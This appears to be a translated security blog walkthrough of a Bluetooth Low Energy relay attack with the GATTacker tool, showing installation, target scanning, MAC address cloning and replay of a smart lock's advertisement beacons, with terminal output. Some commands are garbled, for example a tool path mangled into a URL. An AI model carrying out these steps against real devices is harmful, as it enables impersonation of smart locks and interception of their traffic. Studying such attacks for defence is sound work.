BLE relay attack invades smart devices

0 22
ConfigureInstall dependencies$ sudo apt update $ sudo apt dist-upgrade -y $ sudo...

Configure

  • Install dependencies
$ sudo apt update $ sudo apt dist-upgrade -y $ sudo apt install python-dev build-essential curl git mc -y

  • Install nvm package management
$ curl -o-https://raw.githubusercontent.com/nvm-sh/nvm/v0.36.0/install.sh| bash
$ source ~/.bashrc
  • Install n, as nvm does not support the sudo command, it will cause the node version to be out of sync between ordinary users and root users
$ curl -o-https://raw.githubusercontent.com/nvm-sh/nvm/v0.36.0/install.sh| bash
$ source ~/.bashrc
  • Install the specified version of nodejs, this version is still compatible with the current one
n 8.17.0

Install the required modules, there will be compatibility issues with other plugin versions during the installation process, but according to the error messages, the specified version can be installed to solve the problem, and the warning information can be ignored

BLE relay attack invades smart devices
$ sudo apt install bluetooth bluez libbluetooth-dev libudev-dev -y
$ npm install noble
$ npm install bleno
$ npm install gattacker

Thoughts

I used two Bluetooth adaptors with Ubuntu to act as two Raspberry Pi's, generally it is necessary to use two Raspberry Pi's to simulate the two ends of the connection, the first Raspberry Pi is connected to the device, acting as the central device, it will forward all the messages received from the device to the second Raspberry Pi (through websocket), which acts as the peripheral device (pretending to be the device). When the phone scans the device, it will find the Raspberry Pi imitator and connect to it. After the connection is established, the messages from the phone will be sent back to the first Raspberry Pi and then sent to the device.

Practice

Configure central device config.env (mainly changed two places, the first place is the value behind HCI_DEVICE_ID corresponding to the value of the Bluetooth interface hci viewed by the hciconfig command, the second place is the WS_SLAVE address for the peripheral IP)

1735882791_6777782712a87c56c58fc.png!small?1735882791410

Configure peripheral device config.env

1735882876_6777787cd93d00f7790b6.png!small?1735882876982

Execute ws-slave from the central device to start the service

node ws-slave.js

Peripheral devices execute scan to start scanning (before performing scanning operations, enter the ~/node_modules/gattacker/helpers/bdaddr directory and compile bdaddr directly through the gcc command)

node scan.js

The scanned Bluetooth service and characteristic information will be stored in the devices directory in JSON format. Next, specify the scanning target to obtain its complete characteristics and properties

sudo node scan fbe02e281ced    //Scan the specified device address to get complete properties
chen@chen-virtual-machine:~/node_modules/gattacker$ node scan.js fbe02e281ced
Ws-slave address: 192.168.19.234
on open
poweredOn
Start exploring fbe02e281ced
[DEBUG] Preparing to explore peripheral: fbe02e281ced
[DEBUG] File does not exist. Starting exploration for fbe02e281ced
explore state: fbe02e281ced : startScan
explore state: fbe02e281ced : start
already saved advertisement for fbe02e281ced (undefined)
explore state: fbe02e281ced : finished
Services file devices/fbe02e281ced.srv.json saved!

1735883496_67777ae8460e9aff35539.png!small?1735883496675

The complete characteristic properties have been successfully obtained and saved to fbe02e281ced.srv.json under the devices directory, and the next step is to change the address

sudo https://www.freebuf.com/articles/wireless/mac_adv -a devices/fbe02e281ced_.adv.json
chen@chen-virtual-machine:~/node_modules/gattacker$ sudo https://www.freebuf.com/articles/wireless/mac_adv -a devices/fbe02e281ced_.adv.json
Advertise with cloned MAC address
Manufacturer:   Cambridge Silicon Radio (10)
Device address: C3:39:32:35:2F:3B
New BD address: FB:E0:2E:28:1C:ED

Address changed - Reset device now
Re-plug the interface and hit enter

After executing the mac_adv command, the Bluetooth adapter needs to be reset to automatically switch to the device address, and then execute the mac_adv command again to forge the device and send the previously recorded lock advertisement beacons at a rate of every 20 milliseconds

sudo https://www.freebuf.com/articles/wireless/mac_adv -a devices/fbe02e281ced_.adv.json
chen@chen-virtual-machine:~/node_modules/gattacker$ sudo https://www.freebuf.com/articles/wireless/mac_adv -a devices/fbe02e281ced_HE3150367449.adv.json
Advertise with cloned MAC address
Ws-slave address: 192.168.19.137
peripheralid: fbe02e281ced
advertisement file: devices/fbe02e281ced_HE3150367449.adv.json
EIR: 0201060d09484533313530333637343439
scanResponse: 
on open
poweredOn
Noble MAC address: fb:e0:2e:28:1c:ed
initialized !
Static - start advertising
on -> advertisingStart: success
setServices: success
 <<<<<<<<<<<<<<<< INITIALIZED >>>>>>>>>>>>>>>>>>>>

Then a INITIALIZED banner is received, indicating that Gattacker is ready to initiate a relay attack.

However, since I am using a Bluetooth adapter and a virtual machine to act as the Raspberry Pi, it is not possible to implement a real relay attack, but the entire attack process is like this.

The Raspberry Pi (central) is placed next to the target device, and the Raspberry Pi (peripheral) is placed next to the control device. Once the control device is activated, all communication data will be printed in real time under the INITIALIZED banner.



你可能想看:

In today's rapidly developing digital economy, data has become an important engine driving social progress and enterprise development. From being initially regarded as part of intangible assets to now

It is possible to perform credible verification on the system boot program, system program, important configuration parameters, and application programs of computing devices based on a credible root,

4.5 Main person in charge reviews the simulation results, sorts out the separated simulation issues, and allows the red and blue teams to improve as soon as possible. The main issues are as follows

Distributed Storage Technology (Part 2): Analysis of the architecture, principles, characteristics, and advantages and disadvantages of wide-column storage and full-text search engines

Completely separable two-dimensional vector graph encryption domain robust reversible watermark algorithm (Part 1)

Host external connection investigation for enterprise emergency response, with self-made investigation script

5. Collect exercise results The main person in charge reviews the exercise results, sorts out the separated exercise issues, and allows the red and blue sides to improve as soon as possible. The main

Data security can be said to be a hot topic in recent years, especially with the rapid development of information security technologies such as big data and artificial intelligence, the situation of d

Finally, choose the target source, establish a talent skill tree, which is convenient for accurately and quickly finding resumes

Fake Google ads target Microsoft ad accounts, and malware attacks are upgraded again

最后修改时间:
admin
上一篇 2025年03月27日 15:52
下一篇 2025年03月27日 16:15

评论已关闭